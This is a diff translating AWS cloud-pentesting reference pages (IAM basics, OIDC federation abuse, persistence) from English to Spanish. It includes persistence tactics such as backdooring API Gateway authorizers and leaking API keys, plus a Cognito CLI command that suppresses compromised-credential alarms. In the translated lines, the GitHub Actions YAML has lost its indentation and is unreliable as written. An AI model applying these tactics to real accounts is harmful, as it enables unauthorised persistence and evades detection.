-Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
+#### Políticas de Bucket de Recursos
-#### Resource Bucket Policies
+Estas son **políticas** que se pueden definir en **recursos**. **No todos los recursos de AWS las soportan**.
-These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
+Si un principal no tiene una denegación explícita sobre ellos, y una política de recurso les otorga acceso, entonces se les permite.
-If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
+### Límites de IAM
-### IAM Boundaries
+Los límites de IAM se pueden usar para **limitar los permisos a los que un usuario o rol debería tener acceso**. De esta manera, incluso si se otorgan un conjunto diferente de permisos al usuario por una **política diferente**, la operación **fallará** si intenta usarlos.
-IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
+Un límite es solo una política adjunta a un usuario que **indica el nivel máximo de permisos que el usuario o rol puede tener**. Así que, **incluso si el usuario tiene acceso de Administrador**, si el límite indica que solo puede leer buckets S·, ese es el máximo que puede hacer.
-A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
+**Esto**, **SCPs** y **seguir el principio de menor privilegio** son las formas de controlar que los usuarios no tengan más permisos de los que necesitan.
-**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
+### Políticas de Sesión
-### Session Policies
-
-A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
-
-This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
+Una política de sesión es una **política establecida cuando se asume un rol** de alguna manera. Esto será como un **límite de IAM para esa sesión**: Esto significa que la política de sesión no otorga permisos, sino que **los restringe a los indicados en la política** (siendo los permisos máximos los que tiene el rol).
+Esto es útil para **medidas de seguridad**: Cuando un administrador va a asumir un rol muy privilegiado, podría restringir el permiso solo a los indicados en la política de sesión en caso de que la sesión se vea comprometida.
```bash
aws sts assume-role \
- --role-arn \
- --role-session-name \
- [--policy-arns ]
- [--policy ]
+--role-arn \
+--role-session-name \
+[--policy-arns ]
+[--policy ]
```
+Note que por defecto **AWS podría agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Por lo tanto, si en algún momento te enfrentas al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**.
-Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
+### Federación de Identidad
-### Identity Federation
+La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta IAM válida.\
+Un ejemplo de un proveedor de identidad puede ser tu propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá a los usuarios dentro de él acceder a AWS.
-Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
-An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
+Para configurar esta confianza, se genera un **Proveedor de Identidad IAM (SAML u OAuth)** que **confiará** en la **otra plataforma**. Luego, al menos un **rol IAM es asignado (confiando) al Proveedor de Identidad**. Si un usuario de la plataforma de confianza accede a AWS, lo hará como el rol mencionado.
-To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
-
-However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
+Sin embargo, generalmente querrás dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro.
-### IAM Identity Center
+### Centro de Identidad IAM
-AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
+AWS IAM Identity Center (sucesor de AWS Single Sign-On) amplía las capacidades de AWS Identity and Access Management (IAM) para proporcionar un **lugar central** que reúne la **administración de usuarios y su acceso a cuentas de AWS** y aplicaciones en la nube.
-The login domain is going to be something like `.awsapps.com`.
+El dominio de inicio de sesión será algo como `.awsapps.com`.
-To login users, there are 3 identity sources that can be used:
+Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden usar:
-- Identity Center Directory: Regular AWS users
-- Active Directory: Supports different connectors
-- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
+- Directorio del Centro de Identidad: Usuarios regulares de AWS
+- Active Directory: Soporta diferentes conectores
+- Proveedor de Identidad Externo: Todos los usuarios y grupos provienen de un Proveedor de Identidad externo (IdP)
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
+En el caso más simple del directorio del Centro de Identidad, el **Centro de Identidad tendrá una lista de usuarios y grupos** y podrá **asignar políticas** a ellos para **cualquiera de las cuentas** de la organización.
-In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
+Para dar acceso a un usuario/grupo del Centro de Identidad a una cuenta, se **creará un Proveedor de Identidad SAML que confíe en el Centro de Identidad**, y se **creará un rol que confíe en el Proveedor de Identidad con las políticas indicadas** en la cuenta de destino.
#### AwsSSOInlinePolicy
-It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
+Es posible **dar permisos a través de políticas en línea a roles creados a través del Centro de Identidad IAM**. Los roles creados en las cuentas que se les dan **políticas en línea en AWS Identity Center** tendrán estos permisos en una política en línea llamada **`AwsSSOInlinePolicy`**.
-Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
+Por lo tanto, incluso si ves 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**.
-### Cross Account Trusts and Roles
+### Confianza y Roles entre Cuentas
-**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
-It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
+**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, solo crea un nuevo Rol y selecciona Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posees, y proporcionar acceso entre una cuenta que posees y una cuenta de AWS de terceros.\
+Se recomienda **especificar el usuario que es confiado y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza.
### AWS Simple AD
-Not supported:
+No soportado:
-- Trust Relations
-- AD Admin Center
-- Full PS API support
-- AD Recycle Bin
-- Group Managed Service Accounts
-- Schema Extensions
-- No Direct access to OS or Instances
+- Relaciones de Confianza
+- Centro de Administración de AD
+- Soporte completo de PS API
+- Papelera de reciclaje de AD
+- Cuentas de servicio administradas por grupos
+- Extensiones de esquema
+- Sin acceso directo a OS o Instancias
-#### Web Federation or OpenID Authentication
+#### Federación Web o Autenticación OpenID
-The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
+La aplicación utiliza AssumeRoleWithWebIdentity para crear credenciales temporales. Sin embargo, esto no otorga acceso a la consola de AWS, solo acceso a recursos dentro de AWS.
-### Other IAM options
+### Otras opciones de IAM
-- You can **set a password policy setting** options like minimum length and password requirements.
-- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
+- Puedes **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña.
+- Puedes **descargar "Informe de Credenciales"** con información sobre las credenciales actuales (como tiempo de creación del usuario, si la contraseña está habilitada...). Puedes generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**.
-AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
+AWS Identity and Access Management (IAM) proporciona **control de acceso detallado** en toda AWS. Con IAM, puedes especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestionas los permisos para tu fuerza laboral y sistemas para **asegurar permisos de menor privilegio**.
-### IAM ID Prefixes
+### Prefijos de ID IAM
-In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
+En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puedes encontrar los **prefijos de ID IAM** de las claves dependiendo de su naturaleza:
-| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| ABIA | [Token portador del servicio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Context-specific credential |
-| AGPA | User group |
-| AIDA | IAM user |
-| AIPA | Amazon EC2 instance profile |
-| AKIA | Access key |
-| ANPA | Managed policy |
-| ANVA | Version in a managed policy |
-| APKA | Public key |
-| AROA | Role |
-| ASCA | Certificate |
-| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
+| ACCA | Credencial específica del contexto |
+| AGPA | Grupo de usuarios |
+| AIDA | Usuario IAM |
+| AIPA | Perfil de instancia de Amazon EC2 |
+| AKIA | Clave de acceso |
+| ANPA | Política administrada |
+| ANVA | Versión en una política administrada |
+| APKA | Clave pública |
+| AROA | Rol |
+| ASCA | Certificado |
+| ASIA | [IDs de claves de acceso temporales (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilizan este prefijo, pero son únicos solo en combinación con la clave de acceso secreta y el token de sesión. |
-### Recommended permissions to audit accounts
+### Permisos recomendados para auditar cuentas
-The following privileges grant various read access of metadata:
+Los siguientes privilegios otorgan varios accesos de lectura de metadatos:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -336,14 +318,13 @@ The following privileges grant various read access of metadata:
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
-## Misc
+## Varios
-### CLI Authentication
-
-In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
-In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
-Example of credentials file with more than 1 profile:
+### Autenticación CLI
+Para que un usuario regular se autentique en AWS a través de CLI, necesitas tener **credenciales locales**. Por defecto, puedes configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\
+En ese archivo puedes tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\
+Ejemplo de archivo de credenciales con más de 1 perfil:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -354,12 +335,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
+Si necesitas acceder a **diferentes cuentas de AWS** y tu perfil tiene acceso para **asumir un rol dentro de esas cuentas**, no necesitas llamar manualmente a STS cada vez (`aws sts assume-role --role-arn --role-session-name sessname`) y configurar las credenciales.
-If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials.
-
-You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
-A config file example:
-
+Puedes usar el archivo `~/.aws/config` para [**indicar qué roles asumir**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), y luego usar el parámetro `--profile` como de costumbre (el `assume-role` se realizará de manera transparente para el usuario).\
+Un ejemplo de archivo de configuración:
```
[profile acc2]
region=eu-west-2
@@ -368,23 +347,16 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-
-With this config file you can then use aws cli like:
-
+Con este archivo de configuración, puedes usar aws cli así:
```
aws --profile acc2 ...
```
+Si estás buscando algo **similar** a esto pero para el **navegador**, puedes revisar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
-If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
-
-## References
+## Referencias
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 73ae6b448..df2679bc3 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -1,87 +1,84 @@
-# AWS - Federation Abuse
+# AWS - Abuso de Federación
{{#include ../../../banners/hacktricks-training.md}}
## SAML
-For info about SAML please check:
+Para obtener información sobre SAML, consulta:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
+Para configurar una **Federación de Identidad a través de SAML**, solo necesitas proporcionar un **nombre** y el **XML de metadatos** que contenga toda la configuración de SAML (**puntos finales**, **certificado** con clave pública)
-## OIDC - Github Actions Abuse
+## OIDC - Abuso de Github Actions
-In order to add a github action as Identity provider:
-
-1. For _Provider type_, select **OpenID Connect**.
-2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
-3. Click on _Get thumbprint_ to get the thumbprint of the provider
-4. For _Audience_, enter `sts.amazonaws.com`
-5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- - ```json
- {
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "token.actions.githubusercontent.com:sub": [
- "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
- "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
- ],
- "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
- }
- ```
-6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
-7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
-8. Finally use a github action to configure the AWS creds to be used by the workflow:
+Para agregar una acción de github como proveedor de identidad:
+1. Para _Tipo de proveedor_, selecciona **OpenID Connect**.
+2. Para _URL del proveedor_, ingresa `https://token.actions.githubusercontent.com`
+3. Haz clic en _Obtener huella digital_ para obtener la huella digital del proveedor
+4. Para _Audiencia_, ingresa `sts.amazonaws.com`
+5. Crea un **nuevo rol** con los **permisos** que necesita la acción de github y una **política de confianza** que confíe en el proveedor como:
+- ```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"token.actions.githubusercontent.com:sub": [
+"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
+"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
+],
+"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+}
+}
+}
+]
+}
+```
+6. Nota en la política anterior cómo solo se autorizó una **rama** de un **repositorio** de una **organización** con un **disparador** específico.
+7. El **ARN** del **rol** que la acción de github podrá **suplantar** será el "secreto" que la acción de github necesita conocer, así que **almacénalo** dentro de un **secreto** dentro de un **entorno**.
+8. Finalmente, usa una acción de github para configurar las credenciales de AWS que serán utilizadas por el flujo de trabajo:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
- pull_request:
- branches:
- - main
+pull_request:
+branches:
+- main
# Required to get the ID Token that will be used for OIDC
permissions:
- id-token: write
- contents: read # needed for private repos to checkout
+id-token: write
+contents: read # needed for private repos to checkout
jobs:
- aws:
- runs-on: ubuntu-latest
- steps:
- - name: Checkout
- uses: actions/checkout@v3
+aws:
+runs-on: ubuntu-latest
+steps:
+- name: Checkout
+uses: actions/checkout@v3
- - name: Configure AWS Credentials
- uses: aws-actions/configure-aws-credentials@v1
- with:
- aws-region: eu-west-1
- role-to-assume:${{ secrets.READ_ROLE }}
- role-session-name: OIDCSession
+- name: Configure AWS Credentials
+uses: aws-actions/configure-aws-credentials@v1
+with:
+aws-region: eu-west-1
+role-to-assume:${{ secrets.READ_ROLE }}
+role-session-name: OIDCSession
- - run: aws sts get-caller-identity
- shell: bash
+- run: aws sts get-caller-identity
+shell: bash
```
-
-## OIDC - EKS Abuse
-
+## OIDC - EKS Abuso
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
-
-It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
-
+Es posible generar **OIDC providers** en un **EKS** cluster simplemente configurando la **OIDC URL** del cluster como un **nuevo proveedor de identidad Open ID**. Esta es una política predeterminada común:
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
+}
+}
+}
+]
}
```
+Esta política indica correctamente que **solo** el **clúster EKS** con **id** `20C159CDF6F2349B68846BEC03BE031B` puede asumir el rol. Sin embargo, no indica qué cuenta de servicio puede asumirlo, lo que significa que **CUALQUIER cuenta de servicio con un token de identidad web** podrá **asumir** el rol.
-This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
-
-In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
-
+Para especificar **qué cuenta de servicio debería poder asumir el rol,** es necesario especificar una **condición** donde se **especifica el nombre de la cuenta de servicio**, como:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
-
-## References
+## Referencias
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 28868b9f1..f7e27b516 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -1,21 +1,17 @@
-# AWS - Permissions for a Pentest
+# AWS - Permisos para un Pentest
{{#include ../../banners/hacktricks-training.md}}
-These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
+Estos son los permisos que necesitas en cada cuenta de AWS que deseas auditar para poder ejecutar todas las herramientas de auditoría de AWS propuestas:
-- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
-- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- - **access-analyzer:List\***
- - **access-analyzer:Get\***
- - **iam:CreateServiceLinkedRole**
- - **access-analyzer:CreateAnalyzer**
- - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- - **access-analyzer:DeleteAnalyzer**
- - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
+- La política predeterminada **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
+- Para ejecutar [aws_iam_review](https://github.com/carlospolop/aws_iam_review) también necesitas los permisos:
+- **access-analyzer:List\***
+- **access-analyzer:Get\***
+- **iam:CreateServiceLinkedRole**
+- **access-analyzer:CreateAnalyzer**
+- Opcional si el cliente genera los analizadores por ti, pero generalmente es más fácil simplemente pedir este permiso)
+- **access-analyzer:DeleteAnalyzer**
+- Opcional si el cliente elimina los analizadores por ti, pero generalmente es más fácil simplemente pedir este permiso)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md
index f3b45c4d3..ed4e6e39a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md
@@ -1,6 +1 @@
-# AWS - Persistence
-
-
-
-
-
+# AWS - Persistencia
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 6d2b0ec35..40e26b6da 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -1,36 +1,32 @@
-# AWS - API Gateway Persistence
+# AWS - Persistencia de API Gateway
{{#include ../../../banners/hacktricks-training.md}}
## API Gateway
-For more information go to:
+Para más información, ve a:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Resource Policy
+### Política de Recursos
-Modify the resource policy of the API gateway(s) to grant yourself access to them
+Modifica la política de recursos del(los) API gateway(s) para concederte acceso a ellos.
-### Modify Lambda Authorizers
+### Modificar Autorizadores de Lambda
-Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
-Or just remove the use of the authorizer.
+Modifica el código de los autorizadores de lambda para concederte acceso a todos los endpoints.\
+O simplemente elimina el uso del autorizador.
-### IAM Permissions
+### Permisos de IAM
-If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
-Or just remove the use of the authorizer.
+Si un recurso está utilizando un autorizador de IAM, podrías concederte acceso modificando los permisos de IAM.\
+O simplemente elimina el uso del autorizador.
-### API Keys
+### Claves de API
-If API keys are used, you could leak them to maintain persistence or even create new ones.\
-Or just remove the use of API keys.
+Si se utilizan claves de API, podrías filtrarlas para mantener la persistencia o incluso crear nuevas.\
+O simplemente elimina el uso de claves de API.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index e2e037e53..cd6e7e640 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -4,24 +4,24 @@
## Cognito
-For more information, access:
+Para más información, accede a:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
-### User persistence
+### Persistencia de usuarios
-Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
+Cognito es un servicio que permite otorgar roles a usuarios no autenticados y autenticados y controlar un directorio de usuarios. Se pueden alterar varias configuraciones diferentes para mantener cierta persistencia, como:
-- **Adding a User Pool** controlled by the user to an Identity Pool
-- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- - Or to an **authenticated Identity Pool** if the attacker can login
- - Or **improve the permissions** of the given roles
-- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
-- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
+- **Agregar un User Pool** controlado por el usuario a un Identity Pool
+- Dar un **rol IAM a un Identity Pool no autenticado y permitir el flujo de autenticación básica**
+- O a un **Identity Pool autenticado** si el atacante puede iniciar sesión
+- O **mejorar los permisos** de los roles otorgados
+- **Crear, verificar y privesc** a través de atributos controlados por usuarios o nuevos usuarios en un **User Pool**
+- **Permitir Proveedores de Identidad externos** para iniciar sesión en un User Pool o en un Identity Pool
-Check how to do these actions in
+Consulta cómo realizar estas acciones en
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
@@ -29,18 +29,12 @@ Check how to do these actions in
### `cognito-idp:SetRiskConfiguration`
-An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
-
+Un atacante con este privilegio podría modificar la configuración de riesgo para poder iniciar sesión como un usuario de Cognito **sin que se disparen alarmas**. [**Consulta la cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas las opciones:
```bash
aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
-
-By default this is disabled:
+Por defecto, esto está deshabilitado:
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 75a824e73..2c1a6f488 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -1,67 +1,59 @@
-# AWS - DynamoDB Persistence
+# AWS - Persistencia en DynamoDB
{{#include ../../../banners/hacktricks-training.md}}
### DynamoDB
-For more information access:
+Para más información accede a:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
